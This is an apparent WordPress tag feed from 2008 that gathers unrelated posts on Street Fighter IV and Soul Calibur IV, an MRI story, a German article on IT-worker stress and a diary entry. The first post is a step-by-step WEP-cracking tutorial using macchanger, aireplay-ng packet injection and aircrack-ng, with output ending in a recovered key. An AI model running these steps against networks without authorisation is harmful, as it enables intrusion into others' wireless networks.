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<channel>
	<title>iv &amp;laquo; WordPress.com Tag Feed</title>
	<link>http://wordpress.com/tag/iv/</link>
	<description>Feed of posts on WordPress.com tagged "iv"</description>
	<pubDate>Mon, 07 Jul 2008 02:53:41 +0000</pubDate>

	<generator>http://wordpress.com/tags/</generator>
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<item>
<title><![CDATA[Intel 3945 Injection &amp; Fixes For Aircrack-ng BT3]]></title>
<link>http://wifi0wn.wordpress.com/?p=20</link>
<pubDate>Sun, 06 Jul 2008 20:21:09 +0000</pubDate>
<dc:creator>wifi0wn</dc:creator>
<guid>http://wifi0wn.wordpress.com/?p=20</guid>
<description><![CDATA[remove old aircrack-ng 0.9 or whatever version you have
bt ~ #make uninstall
download
bt ~ #svn co h]]></description>
<content:encoded><![CDATA[<p>remove old aircrack-ng 0.9 or whatever version you have<br />
bt ~ #make uninstall</p>
<p>download<br />
bt ~ #svn co http://trac.aircrack-ng.org/svn/branch/1.0-dev/ aircrack-ng<br />
bt ~ #cd aircrack-ng<br />
bt aircrack-ng #gmake SQLITE=true<br />
bt aircrack-ng #gmake SQLITE=true install</p>
<p>bt ~ # iwconfig<br />
lo no wireless extensions.</p>
<p>eth0 no wireless extensions.</p>
<p>wmaster0 no wireless extensions.</p>
<p>wlan0 IEEE 802.11g ESSID:"" Nickname:""<br />
Mode:Managed Channel:0 Access Point: Not-Associated<br />
Tx-Power=0 dBm<br />
Retry min limit:7 RTS thr:off Fragment thr=2346 B<br />
Encryption key:off<br />
Power Management:off<br />
Link Quality:0 Signal level:0 Noise level:0<br />
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0<br />
Tx excessive retries:0 Invalid misc:0 Missed beacon:0</p>
<p>bt ~ #modprobe -r iwl3945<br />
bt ~ # iwconfig<br />
lo no wireless extensions.</p>
<p>eth0 no wireless extensions.</p>
<p>bt ~ #modprobe ipwraw</p>
<p>bt ~ # iwconfig<br />
lo no wireless extensions.</p>
<p>eth0 no wireless extensions.</p>
<p>wifi0 unassociated ESSID:off/any<br />
Mode:Monitor Channel=1 Bit Rate=54 Mb/s</p>
<p>rtap0 no wireless extensions.</p>
<p>here you are.you have enabled your intel3945 NIC to do discovery/injetion and penetration testing</p>
<p>bt ~ #ifconfig wifi0 down<br />
bt ~ # macchanger --mac 00:10:20:30:40:50 wifi0<br />
Current MAC: 00:ab:ab:ab:ab:ab (unknown)<br />
Faked MAC: 00:10:20:30:40:50 (Welch Allyn, Data Collection)<br />
mac spoofing for security. upto u :)<br />
bt ~ #ifconfig wifi0 up<br />
bt ~ # ifconfig wifi0<br />
wifi0 Link encap:UNSPEC HWaddr 00-10-20-30-40-50-D8-54-00-00-00-00-00-00-00-00<br />
UP BROADCAST NOTRAILERS PROMISC ALLMULTI MTU:2346 Metric:1<br />
RX packets:0 errors:0 dropped:0 overruns:0 frame:0<br />
TX packets:6 errors:0 dropped:0 overruns:0 carrier:0<br />
collisions:0 txqueuelen:1000<br />
RX bytes:0 (0.0 b) TX bytes:108 (108.0 b)<br />
Interrupt:19 Base address:0x6000 Memory:f4300000-f4300fff<br />
bt ~ # airmon-ng start wifi0</p>
<p>Interface Chipset Driver</p>
<p>wifi0 Centrino a/b/g ipwraw-ng (monitor mode enabled)</p>
<p>bt ~ #airodump-ng wifi0</p>
<p>get the SSID of your network AP<br />
and stop using ctrl+c because we dont want to unnecessariliy capture other ap's data.</p>
<p>bt ~ # airodump-ng -c 11 -w pentest --bssid 00:08:5C:7B:9E:B5 wifi0<br />
(let the airodump window keep running to capture enough packets)</p>
<p>CH 11 ][ Elapsed: 9 mins ][ 2008-02-20 13:43</p>
<p>BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID</p>
<p>00:08:5C:7B:9E:B5 0 100 4537 54723 0 11 54 WEP WEP OPN Narayan-sivenara</p>
<p>BSSID STATION PWR Rate Lost Packets Probes</p>
<p>00:08:5C:7B:9E:B5 00:10:20:30:40:50 0 0- 0 0 73393</p>
<p>bt ~ # aireplay-ng -1 0 -a 00:08:5C:7B:9E:B5 -h 00:10:20:30:40:50 wifi0<br />
13:35:08 Waiting for beacon frame (BSSID: 00:08:5C:7B:9E:B5) on channel 11</p>
<p>13:35:08 Sending Authentication Request (Open System) [ACK]<br />
13:35:08 Authentication successful<br />
13:35:08 Sending Association Request [ACK]<br />
13:35:08 Association successful :-)</p>
<p>bt ~ # aireplay-ng -3 -b 00:08:5C:7B:9E:B5 -h 00:10:20:30:40:50 wifi0<br />
13:35:56 Waiting for beacon frame (BSSID: 00:08:5C:7B:9E:B5) on channel 11<br />
Saving ARP requests in replay_arp-0220-133556.cap<br />
You should also start airodump-ng to capture replies.<br />
Read 129275 packets (got 54575 ARP requests and 70947 ACKs), sent 83561 packets...(499 pps)</p>
<p>bt ~ # aircrack-ng -n 64 --bssid 00:08:5C:7B:9E:B5 pentest-01.cap<br />
Opening pentest-01.cap<br />
Attack will be restarted every 5000 captured ivs.<br />
Starting PTW attack with 54722 ivs.<br />
KEY FOUND! [ 98:45:00:88:57 ]<br />
Decrypted correctly: 100%</p>
<p>I hope this tutorial will help all the people having Intel3945 NIC for penetration testing and vulnerability test.thanks a lot to exploitz for making such wonderful tutorials and videos.if any mistake you found please let me know I will correct it.I am happy to be a proud member of this so full of knowledge forum with lots of tutorial.<br />
Tested On:<br />
My laptop Specification<br />
compaq presario v3000(v3607TU)<br />
Dual Core 1.6 GHz With 1 MB L2 Cache<br />
Intel 956GM Chipset<br />
120 GB HDD<br />
4 GB Transcend DDR2 667 MHz RAM<br />
Intel X3100 PCI-E<br />
Running OS.Backtrack 3 Beta Dual Boot With Windows Vista<br />
Vmware on Vista Running OS:Windows Server 2003 Enterprise Edition With IIS 6.0/ADS,Windows Xp Professional with SP3 latest updated,Sun Solaris 10,BackTrack 3</p>
<p>My Computer Specification<br />
Pentium 4 1.7 GHz PGA 478 socket<br />
Intel 850 MB orignal MB<br />
1 GB RDRAM PC800 Samsung<br />
200 GB HDD IDE Segate Baracuda 7200 RPM 160 GB + Segate Baracuda 5400 RPM 40 GB<br />
Asus Geforce 2 GTS 128 MB AGP 4x<br />
Running OS Windows XP Pro With SP3 ,Dual Boot With BT 3 Beta karnel 2.6.21.5</p>
<p>Here are proofs</p>
<p><img src="/DOCUME~1/THUNDE~1/LOCALS~1/Temp/moz-screenshot.jpg" alt="" /></p>
<p><img class="aligncenter" src="http://forums.remote-exploit.org/attachment.php?attachmentid=246&#38;stc=1&#38;d=1203513656" alt="" /></p>
<p><img class="aligncenter" src="http://forums.remote-exploit.org/attachment.php?attachmentid=247&#38;stc=1&#38;d=1203513802" alt="" /></p>
<p><img class="aligncenter" src="http://forums.remote-exploit.org/attachment.php?attachmentid=248&#38;d=1203513835" alt="" /></p>
<p><img class="aligncenter" src="http://forums.remote-exploit.org/attachment.php?attachmentid=249&#38;stc=1&#38;d=1203552637" alt="" /></p>
<p>Orignal post by me at Remote-exploit forums:</p>
<p><a href="http://forums.remote-exploit.org/showthread.php?t=12165" target="_blank">http://forums.remote-exploit.org/showthread.php?t=12165</a></p>
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<title><![CDATA[Novo trailer do Street Fighter IV]]></title>
<link>http://cabiduria.wordpress.com/?p=85</link>
<pubDate>Sun, 06 Jul 2008 02:00:39 +0000</pubDate>
<dc:creator>cabiduria</dc:creator>
<guid>http://cabiduria.wordpress.com/?p=85</guid>
<description><![CDATA[Eu nunca fui fã de anime. Sempre achei que os japoneses avacalhavam demais, sempre com clichês do ]]></description>
<content:encoded><![CDATA[<p>Eu nunca fui fã de anime. Sempre achei que os japoneses avacalhavam demais, sempre com clichês do tipo: "Se ele usar seu poder no máximo, o universo será destruído!".</p>
<p>Mas quando o assunto é Street Fighter, até anime eu tolero. Abaixo um combate entre Ryu e Akuma:</p>
<p>&#60;object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"  codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" id="gtembed" width="480" height="392"&#62;    &#60;param name="allowScriptAccess" value="sameDomain" /&#62; &#60;param name="allowFullScreen" value="true" /&#62; &#60;param name="movie" value="http://www.gametrailers.com/remote_wrap.php?mid=35814"/&#62; &#60;param name="quality" value="high" /&#62; &#60;embed src="http://www.gametrailers.com/remote_wrap.php?mid=35814" swLiveConnect="true" name="gtembed" align="middle" allowScriptAccess="sameDomain" allowFullScreen="true" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" type="application/x-shockwave-flash" width="480" height="392"&#62;&#60;/embed&#62; &#60;/object&#62;</p>
<p>Via <a href="http://www.sedentario.org/">Sedentário e Hiperativo</a></p>
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<item>
<title><![CDATA[]]></title>
<link>http://ininterest.wordpress.com/?p=140</link>
<pubDate>Sat, 05 Jul 2008 04:39:13 +0000</pubDate>
<dc:creator>ininterest</dc:creator>
<guid>http://ininterest.wordpress.com/?p=140</guid>
<description><![CDATA[

My dish: Scallop Chardonnay linguine &amp; caramelized onions

]]></description>
<content:encoded><![CDATA[<p style="text-align:left;"><a title="photo sharing" href="http://www.flickr.com/photos/21466019@N06/2637508079/"><img style="border:solid 2px #000000;" src="http://farm4.static.flickr.com/3099/2637508079_0e669b4b76_m.jpg" alt="" /></a><a title="photo sharing" href="http://www.flickr.com/photos/21466019@N06/2637508339/"><img style="border:solid 2px #000000;" src="http://farm4.static.flickr.com/3193/2637508339_bb7c67974f_m.jpg" alt="" /></a></p>
<p style="text-align:left;"><a title="photo sharing" href="http://www.flickr.com/photos/21466019@N06/2637508665/"><img style="border:solid 2px #000000;" src="http://farm4.static.flickr.com/3087/2637508665_0455893a83_m.jpg" alt="" /></a><a title="photo sharing" href="http://www.flickr.com/photos/21466019@N06/2637508009/"><img style="border:solid 2px #000000;" src="http://farm4.static.flickr.com/3124/2637508009_70d2dccd19_m.jpg" alt="" width="226" height="176" /></a></p>
<p style="text-align:left;">My dish: Scallop Chardonnay linguine &#38; caramelized onions</p>
<p style="text-align:left;"><a title="photo sharing" href="http://www.flickr.com/photos/21466019@N06/2637508931/"><img style="border:solid 2px #000000;" src="http://farm4.static.flickr.com/3276/2637508931_07cd115377_m.jpg" alt="" /></a><a title="photo sharing" href="http://www.flickr.com/photos/21466019@N06/2638339568/"><img style="border:solid 2px #000000;" src="http://farm4.static.flickr.com/3189/2638339568_38eec41646_m.jpg" alt="" /></a></p>
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<title><![CDATA[STREET FIGHTER IV en anime (trailer)]]></title>
<link>http://manganimemty.wordpress.com/?p=1100</link>
<pubDate>Fri, 04 Jul 2008 20:47:17 +0000</pubDate>
<dc:creator>akafozzie</dc:creator>
<guid>http://manganimemty.wordpress.com/?p=1100</guid>
<description><![CDATA[
LOS HADUKENS NUNCA MUEREN
&#8220;ABAJO INCLINADO Y ADELANTE + PUNCH&#8221;
WhoOo&#8230; debeiran ve]]></description>
<content:encoded><![CDATA[<p><a href="http://manganimemty.files.wordpress.com/2008/07/sf12s.jpg"><img class="size-full wp-image-1142 alignleft" style="float:left;" src="http://manganimemty.wordpress.com/files/2008/07/sf12s.jpg" alt="" width="275" height="324" /></a></p>
<p>LOS HADUKENS NUNCA MUEREN<br />
"ABAJO INCLINADO Y ADELANTE + PUNCH"</p>
<p>WhoOo... debeiran verlo.. es la pelea de Gouki (akuma) contra Ryu...y de repente sale el Ken... la neta si vale la pena.. y la cancion de fondo te recuerda los buenos tiempos...<br />
Si desean verlo en mejor calidad entren a este link de la pagina oficial , donde podran encontrar 6 trailers y todos de muy buena calidad y que vale la pena ver</p>
<p><strong>MEJOR CALIDAD</strong> (PAGINA OFICIAL)<a href="http://www.capcom.co.jp/sf4/trailer/trailer6.html" target="_blank"><br />
http://www.capcom.co.jp/sf4/trailer/trailer6.html</a></p>
<p>o verlo por <strong>utube</strong><br />
<span style='text-align:center; display: block;'><object width='425' height='350'><param name='movie' value='http://www.youtube.com/v/tzT-BTgA7As'></param><param name='wmode' value='transparent'></param><embed src='http://www.youtube.com/v/tzT-BTgA7As&rel=0' type='application/x-shockwave-flash' wmode='transparent' width='425' height='350'></embed></object></span></p>
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<item>
<title><![CDATA[Fjollerier 2.0]]></title>
<link>http://fjan.wordpress.com/?p=36</link>
<pubDate>Thu, 03 Jul 2008 20:57:07 +0000</pubDate>
<dc:creator>Daniel</dc:creator>
<guid>http://fjan.wordpress.com/?p=36</guid>
<description><![CDATA[Idag vaknade jag halv elva. Då såg jag på &#8220;Hej Hej Sommar&#8221;!  Sen spelade jag lite GTA]]></description>
<content:encoded><![CDATA[<p>Idag vaknade jag halv elva. Då såg jag på "Hej Hej Sommar"! :P Sen spelade jag lite GTA och sen for jag ut och cyklade. När jag cyklade förbi Lucas' hus så var han ute och jobbade och jag stannade och pratade med honom en stund. Sedan for jag hem och åt. När jag ätit skickade jag till Lucas och frådage om han kom ut. Vi for till Selleri och sen till madrassen och fjollade oss. Sedan kom Ida. Efter en stund for vi tillbaks till Selleri och sen bakom selleri mötte vi Erkki! :D Han kom och mumlade om nånting med oss, jag forstod nästan inget alls! Sen nån gång kom Wihuri och då for vi till madrassen - igen! Där fjollade vi oss ännu mer.. Sen for vi för omväxlings skull till Selleri och lämnade att prata där. Sen for vi hem!</p>
<h2 style="text-align:center;"><span style="color:#ff0000;"><span style="text-decoration:underline;"><em><strong>IDAG VAR DET VARMT!!!</strong></em></span></span></h2>
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<title><![CDATA[Let's not do that again.]]></title>
<link>http://iambrowneyedgirl.wordpress.com/?p=187</link>
<pubDate>Thu, 03 Jul 2008 15:44:13 +0000</pubDate>
<dc:creator>iambrowneyedgirl</dc:creator>
<guid>http://iambrowneyedgirl.wordpress.com/?p=187</guid>
<description><![CDATA[So the MRI was an interesting experience to say the least.  First of all, I snuck out of work witho]]></description>
<content:encoded><![CDATA[<p class="MsoNormal" style="margin:0;"><span style="font-family:Arial;"><span style="font-size:small;">So the <a href="http://en.wikipedia.org/wiki/Mri" target="_blank">MRI </a>was an interesting experience to say the least.<span>  </span>First of all, I snuck out of work without much notice, that was good.<span>  </span>Got there a little early and only had to wait 10 minutes or so before I was called in.</span></span></p>
<p class="MsoNormal" style="margin:0;"><span style="font-family:Arial;"><span style="font-size:small;"> </span></span></p>
<p class="MsoNormal" style="margin:0;"><span style="font-family:Arial;"><span style="font-size:small;">A lovely girl named Kim took me into a room and asked me a bunch of questions regarding metal in my body, shrapnel in my eye, etc. and told me that I’d have to take all of my jewellery off excluding my wedding bands which, since they are made of white gold, were fine to go into the machine.<span>  </span>I didn’t want to take any chances though, I took them off.<span>  </span>Then I had to change into a pair of those ever-so-fashionable hospital gowns (one facing forward, one facing back) and she took me over to have an <a href="http://en.wikipedia.org/wiki/Intravenous_therapy" target="_blank">IV </a>put in. Now, no one warned me that I’d have to get an IV. I’ve never had one before.<span>  </span>I don’t like needles and I certainly don’t like the fact that this one was taped to my arm.<span>  </span>It was put right in the junction of my elbow too which made me too scared to bend my arm for fear of puncturing my vein.<span>  </span>There was also a spot of blood left on the sheet after she had put the needle in and taped it down.<span>  </span>Not impressed by that, but she was very good about the whole thing.<span>  </span>I had to get the IV put in so that they could inject me with a contrasting liquid that would make my insides light up like a Christmas tree in some of the MRI shots.</span></span></p>
<p class="MsoNormal" style="margin:0;"><span style="font-family:Arial;"><span style="font-size:small;"> </span></span></p>
<p class="MsoNormal" style="margin:0;"><span style="font-family:Arial;"><span style="font-size:small;">So, IV in, I waited for another 20 minutes or so before it was my turn to go in.<span>  </span>They gave me squishy ear plugs, put me on a star-trek-sick-bay-type sliding bed and strapped me in, complete with a sensor around my waist to monitor my breathing and a metal cage thing around my torso.<span>  </span>Then they gave me a panic button and slid me into the tube feet first.</span></span></p>
<p class="MsoNormal" style="margin:0;"><span style="font-family:Arial;"><span style="font-size:small;"> </span></span></p>
<p class="MsoNormal" style="margin:0;"><span style="font-family:Arial;"><span style="font-size:small;">I had to stay very still the whole time (not that there was much room to move) and at times I either had to breathe steadily (some scans were only taken as I was exhaling) or I had to hold my breath.<span>  </span>Half an hour and many scans later they injected the contrast dye into my IV line.<span>  </span>Very weird sensation.<span>  </span>It hurt and I was more shocked than anything.<span>  </span>Felt like my vein was going to burst and it burned a little.<span>  </span>I felt it go up my arm into my shoulder and down my arm to my hand.<span>  </span>The sensation wore off after a few minutes while the scanning went on, and on, and on, and, well you get the idea.</span></span></p>
<p class="MsoNormal" style="margin:0;"><span style="font-family:Arial;"><span style="font-size:small;"> </span></span></p>
<p class="MsoNormal" style="margin:0;"><span style="font-family:Arial;"><span style="font-size:small;">One thing to note, the sound of the magnet as it was firing and taking the scans and images was like someone was banging a golf club on the side of the machine, really loudly and really fast, repeatedly.<span>  </span>Lots of metal banging and pinging, sometimes at different pitches and rates, sometimes alone, sometimes a harmony of pinging.<span>  </span>Another half an hour and many more scans later I was done.<span>  </span>They unstrapped me, a nice lady took my squishy ear plugs back, and I hobbled back to the waiting room with my IV in tow so that it could be taken out.<span>  </span>Hurt less coming out than it did going in that’s for sure.</span></span></p>
<p class="MsoNormal" style="margin:0;"><span style="font-family:Arial;"><span style="font-size:small;"> </span></span></p>
<p class="MsoNormal" style="margin:0;"><span style="font-family:Arial;"><span style="font-size:small;">And that’s it. My MRI story.<span>  </span>Not very exciting to you I’m sure, but for me it was my first (and hopefully last) MRI experience.</span></span></p>
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<title><![CDATA[IT Jobs machen psychisch krank]]></title>
<link>http://radiob.wordpress.com/2008/07/03/it-jobs-machen-psychisch-krank-2/</link>
<pubDate>Thu, 03 Jul 2008 11:22:15 +0000</pubDate>
<dc:creator>radiob</dc:creator>
<guid>http://radiob.wordpress.com/2008/07/03/it-jobs-machen-psychisch-krank-2/</guid>
<description><![CDATA[Achtung Gefahr: Programmieren macht krank!
Leiden Sie unter chronischer Müdigkeit, Nervosität, Sch]]></description>
<content:encoded><![CDATA[<p><big><b><span class="titleflow">Achtung Gefahr: Programmieren macht krank!</span></b></big></p>
<p><i>Leiden Sie unter chronischer Müdigkeit, Nervosität, Schlafstörungen und Magenbeschwerden? Haben Sie Mühe, einfach mal abzuschalten und sich zu erholen? Dann befinden Sie sich in guter Gesellschaft. Noch  vor zehn Jahren galten IT-Arbeitsplätze als wenig monoton und psychisch <span style="font-style:italic;">kaum belastend. Das hat sich  geändert.</span></i>
<div class="textflow">
<div>
<div class="spacer"> </div>
<p>Das Rhein-Ruhr-Institut für Sozialforschung und Politikberatung der Universität Duisburg hat im Rahmen seines Projektes 'Präventiver Gesundheitsschutz in der IT-Branche' ein Arbeitspapier veröffentlicht, in dem anhand von Befunden aus der aktuellen Literatur mögliche Gründe für die Zunahme gesundheitlicher Probleme in der IT-Branche zusammengestellt sind.</p>
<p>
<div class="spacer"> </div>
<p>So scheint etwa das projektbezogene Arbeiten vieler IT-Leute gesundheitliche Gefahren zu bergen. <br />An der Schnittstelle zwischen Anbieter und Kunden können verschiedene widersprüchliche Situationen entstehen, welche sich psychisch belastend auf die Mitarbeitenden in der Entwicklung auswirken können. So müssen zum Beispiel im Verlauf eines Projekts häufig zusätzliche Kundenwünsche erfüllt werden, ohne dass Budget und Zeitplan angepasst würden. Oder Entwickler sollen massgeschneiderte Lösungen ins Blaue hinaus abliefern, ohne den Echtbetrieb beim Kunden zu kennen. Das alles mündet schliesslich in erhöhtem Zeitdruck, und nicht selten kollidieren Arbeits- und Lebenswelt. So entsteht Stress und aus anhaltendem Stress wird irgendwann ein ausgewachsenes Burnout.
<div class="spacer"> </div>
<p><span style="font-weight:bold;"><br />Überforderung vorprogrammiert</span><br />Ein anderes Phänomen ist die "Taylorisierung der IT-Arbeit", wie der Trend zur "Kleinteiligkeit" im Bericht genannt wird. Weg vom Prozess, hin zum Modul: IT-Arbeitskräfte werden zur Fliessbandarbeit degradiert und verlieren den Bezug zum "Grossen Ganzen".
<div class="spacer"> </div>
<p>Gleichzeitig haben sich seit den 90er Jahren neue Managementkonzepte durchgesetzt. Mitarbeitende sollen vereinbarte Ziele selbstverantwortlich erreichen. Sie erhalten mehr Selbstbestimmung und Freiheit, tragen allerdings auch mehr Verantwortung. Seit die rosige Blase geplatzt ist und sich die Wirtschaftslage für die "neuen" Wirtschaftszweige normalisiert hat, hat sich diese Freiheit zur potenziellen Belastung gewandelt. "Die Ziele, die IT-Beschäftigte selbstverantwortlich erreichen sollen, werden immer schwieriger <br />zu bewältigen", heisst es in einer der erwähnten Studien.
<div class="spacer"> </div>
<p>Veränderte Leistungsbeurteilung trägt das ihre zur Veränderung der Arbeitssituation bei. Leistung wird nicht mehr über Aufwand, sondern über Ergebnisse bewertet. Das führt dazu, dass man sich immer wieder <br />aufs Neue beweisen muss. Das führt zum permanenten Druck zur Weiterbildung, die oft auch mal in der Freizeit erfolgen soll.
<div class="spacer"> </div>
<p><span style="font-weight:bold;"><br />"Klimawandel" bedroht IT-Dinosaurier</span><br />Eine weitere Tendenz macht die Wissenschaft in der Veränderung des Betriebsklimas aus. Das traditionell hohe Arbeitsaufkommen sei früher durch eine „spezifische betriebliche Sozialordnung“ erträglich gewesen. <br />Diese gehe verloren. Sprich: die Vertrauenskultur, die flachen Hierarchien und die Identifikation der Mitarbeitenden mit Inhalten und Produkten ihrer Arbeit weicht dem Primat der Effizienz und der Kostenoptimierung.</p>
<div class="spacer"> </div>
<p>Auch der gesellschaftliche Wandel nagt am Wohlbefinden in den Entwicklerbüros. Die früher als sicher geltenden IT-Jobs sind heute Personalabbauphasen und Auslagerungen ausgesetzt. Die Angst vor Arbeitslosigkeit belastet und setzt Beschäftigte unter Druck. Und: auch IT-Angestellte werden älter. Der demografische Wandel macht vor der Branche nicht halt. Eine der Studien kommt zum Schluss, mit 40 sei man als IT-Mensch schon "ein halber Methusalem". Als solcher befindet man sich in einer Unternehmenskultur, die sich an Jugendlichkeit orientiert. Oft gelte man als leistungsschwacher Dinosaurier.</p>
<p><span style="font-weight:bold;">Programmierer nehmen häufiger Psychopharmaka</span><br />In der Folge haben die Forscher Bemerkenswertes herausgefunden. Eine der Studien weist für IT-Beschäftigte in den untersuchten Projekten viermal häufigeres Auftreten psychosomatischer <br />Beschwerden aus als in anderen Berufsgruppen. Eine andere Untersuchung zeigt, dass psychische Krankheiten in der Branche weit verbreitet sind. Der Gebrauch von Antidepressiva ist um 60 Prozent höher. Allgemein nehmen IT-Angestellte in Deutschland fast doppelt so häufig (um 91 Prozent höherer Gebrauch) <br />Psychopharmaka wie der Durchschnitt der Beschäftigten.</p>
<div class="spacer"> </div>
<p>Als reichten all die Faktoren psychischer Belastung noch nicht: die verschärften Arbeitsbedingungen schädigen auch die menschliche Hardware! Dass Dauerstress, Überarbeitung und Frustration über nicht erreichbare Ziele dem Körper nicht gut tun, liegt auf der Hand. Hinzu kommen mangelnde <br />Bewegung (die sich meist auf den Gang in die Kantine beschränkt), verkrüppelte Haltungen vor dem Bildschirm und natürlich: unausgewogene Ernährung. Der Mythos vom Nächte durcharbeitenden Computerfreak, der sich von Limos und Junk-Food ernährt, entspricht wohl auch ein Stück weit der Realität.
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<p><span style="font-weight:bold;"><br />Geben und nehmen</span><br />Soweit die Forschungsergebnisse aus Deutschland. Das düstere Bild, das sie von den Arbeitsbedingungen in den IT-Abteilungen und Entwicklungsfirmen zeichnen, lässt sich wohl auch auf die Schweiz übertragen. <br />"Unsere Branche ist sehr arbeitsintensiv", bestätigt Gabriela Keller, die beim Schweizer Software-Hersteller Ergon für das Personal verantwortlich ist. Das Unternehmen hat verschiedene Massnahmen getroffen, um seine Mitarbeiter nicht zu "verheizen". "Nur wer sich gut fühlt, schreibt auch gute Software", sagt Keller. So werden beispielsweise Überstunden bei Ergon nicht ausbezahlt. Wer phasenweise <br />mehr arbeitet, muss dies mit mehr Freizeit kompensieren. Und die Gestaltung der Wochenarbeitszeit ist flexibel. Ob während fünf Tagen acht Stunden oder an vier Tagen zehn Stunden gearbeitet wird, bestimmt man selbst. Viele Mitarbeitende sind ohnehin zu 80 Prozent angestellt. Um sich weiterzubilden, hat jeder ein Budget und ein Zeitfenster innerhalb der Arbeitszeit, über das frei verfügt werden kann.
<div class="spacer"> </div>
<p>Keller schätzt auch die körperliche Fitness in ihrem Betrieb als gut ein. "Unsere Mitarbeiter sind im Schnitt sehr sportlich." Viele würden sich über Mittag zu Gruppen zusammenschliessen und joggen oder Fussball <br />spielen gehen- in der eigens angemieteten Halle, bezahlt vom Arbeitgeber. Wer auf inneres Gleichgewicht setzt, kann die Yogastunde im Dachgeschoss besuchen. Ergon, das IT-Arbeits-Paradies auf Erden? "Nein, ich glaube, dass viele Firmen in der Schweiz ähnlich funktionieren", relativiert die Personalchefin.
<div class="spacer"> </div>
<p>Das hingegen bezweifelt Marc Werlen, der als Marketingleiter bei Netcetera zwar nicht selbst entwickelt, die Branche aber dennoch kennt. "Längst nicht alle Managements haben eingesehen, wie wichtig das <br />Wohlbefinden der Mitarbeitenden ist", kritisiert er. Mit Features wie einem ausgeklügelten Beleuchtungssystem, ergonomischen Arbeitsplätzen und der Möglichkeit zum Hallensport über Mittag positioniert sich auch sein Unternehmen unter den fortschrittlichen Musterknaben. "Die Komplexität der Lösungen nimmt zu, Druck und Eigenverantwortung sind hoch", bestätigt Werlen die <br />Studienresultate.</p>
<div class="spacer"> </div>
<p>Doch das müsse nicht unbedingt negativ sein. Mehr Verantwortungsbewusstsein und mehr Effizienz seien Anzeichen eines stetig wachsenden Professionalisierungsgrades. Und schliesslich habe die IT-Branche <br />auch einzigartige Möglichkeiten eingeführt, wie das Arbeiten von zu Hause. Von einem allgemeinen Trend zur Optimierung der Arbeitsbedingungen und attraktiven Zusatzleistungen könne zwar noch nicht gesprochen werden. Wie die Ergon-Personalchefin ist auch der Marketingchef aber überzeugt: "Zufriedene <br />Mitarbeiter erbringen gute Leistungen. Und wo immer mehr geleistet werden muss, braucht es Gegenleistungen. (Amir Ali)
<div class="spacer">Artikel von <a href="http://www.inside-it.ch">http://www.inside-it.ch</a></div>
<p><span style="font-style:italic;">(Interessenbindung: <br />Ergon und Netcetera bauen und betreiben die Betriebsplattform von inside-it.ch <br />und sind wichtige Kunden des Verlags.)</span> </div>
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<title><![CDATA[Soul Calibur y el monstruo del espacio]]></title>
<link>http://beginthegame.wordpress.com/?p=153</link>
<pubDate>Thu, 03 Jul 2008 06:11:48 +0000</pubDate>
<dc:creator>Ithilien</dc:creator>
<guid>http://beginthegame.wordpress.com/?p=153</guid>
<description><![CDATA[
Y digo monstruo del espacio al referirme al espacio del disco duro, que ya no sólo de la Ps3 sino ]]></description>
<content:encoded><![CDATA[<p style="text-align:center;"><img class="alignnone" src="http://img.vidaextra.com/2008/03/sc4_caratulas.jpg" alt="" /></p>
<p>Y digo monstruo del espacio al referirme al espacio del disco duro, que ya no sólo de la Ps3 sino por primera vez será un juego que necesite instalación en 360.  Pero vamos que necesites un espacio en el disco duro de 6.7 GB más 2 Gb de save data, es para alucinar bastante. No me extraña que se planteen realizar nuevas versiones de las consolas con mayor capacidad. De todas maneras creo que la instalación de los juegos en las consolas está llegando a un punto.... dentro de nada va a parecer esos primero juegos que había en cinta de casette y tardaban la vida en ejecutarse.</p>
<p>Fuente:<span style="color:#ff0000;"> </span><a href="http://www.mediavida.com/noticias/consolas/soul-calibur-iv-rompe-moldes/3939" target="_blank"><span style="color:#ff0000;">www.mediavida.com</span></a></p>
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<title><![CDATA[Trip to Liberty City]]></title>
<link>http://trewz.wordpress.com/?p=182</link>
<pubDate>Wed, 02 Jul 2008 20:10:55 +0000</pubDate>
<dc:creator>Adrian. The Esoteric</dc:creator>
<guid>http://trewz.wordpress.com/?p=182</guid>
<description><![CDATA[ 

]]></description>
<content:encoded><![CDATA[<p> </p>
<p><img class="alignnone" src="http://farm4.static.flickr.com/3066/2631320407_5310fe5c71.jpg" alt="gta" /></p>
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<title><![CDATA[Nuevas imágenes Street Fighter IV (multi)]]></title>
<link>http://gamerhome.wordpress.com/?p=705</link>
<pubDate>Tue, 01 Jul 2008 07:15:05 +0000</pubDate>
<dc:creator>blackrainb0w</dc:creator>
<guid>http://gamerhome.wordpress.com/?p=705</guid>
<description><![CDATA[Imágenes
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<content:encoded><![CDATA[<p><a href="http://www.jeux-france.com/images0_4_28093.html">Imágenes</a></p>
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<title><![CDATA[Soul Calibur 4: Todo lo que se sabe]]></title>
<link>http://gaffo.wordpress.com/?p=47</link>
<pubDate>Mon, 30 Jun 2008 17:57:57 +0000</pubDate>
<dc:creator>Gaffo</dc:creator>
<guid>http://gaffo.wordpress.com/?p=47</guid>
<description><![CDATA[Si, estamos ya a menos de un mes de la salida de este juego y he empezado a investigar por cuenta pr]]></description>
<content:encoded><![CDATA[<p>Si, estamos ya a menos de un mes de la salida de este juego y he empezado a investigar por cuenta propia, curiosidad, entonces me dije, ¿Soy el único haciendo esto? ¿Qué tal si hago un post? Y aquí está.</p>
<p>Todo lo que se sabe hasta la fecha (30 de Junio) sobre…<br />
EDIT: Agregue imagenes de los personajes nuevos.</p>
<p>Soul Calibur 4 (o Soulcalibur IV).</p>
<p>Desarrollado por Project Soul.<br />
Publicado por Namco Bandai (Ubisoft en Europa).<br />
Fecha de Lanzamiento: 29 de Julio (31 de Julio para Europa, Japón y Australia).<br />
Genero: Peleas.<br />
Rating: Teen.<br />
Saldrá para PS3 y Xbox 360.</p>
<p>Descripción: Soul Calibur 4 (le diré SC4 de ahora en adelante) es la continuación de la saga del mismo nombre, es un juego de peleas con armas como son las espadas, escudos, martillos, etc.</p>
<p>Personajes:<br />
Hasta ahora hay confirmados 33 personajes entre los personajes clásicos, nuevos, extras e “invitados” que son:</p>
<p>Personajes Clásicos.<br />
Amy, Astaroth, Cassandra, Cervantes, Ivy, Kilik, Lizardman, Maxi, Mitsurugi, Raphael, Rock, Seoung Mi-na, Setsuka, Siegfried, Sophitia, Taki, Talim, Tira, Voldo, Xianghua, Yoshimitsu, Yun-soung, Zasalamel.</p>
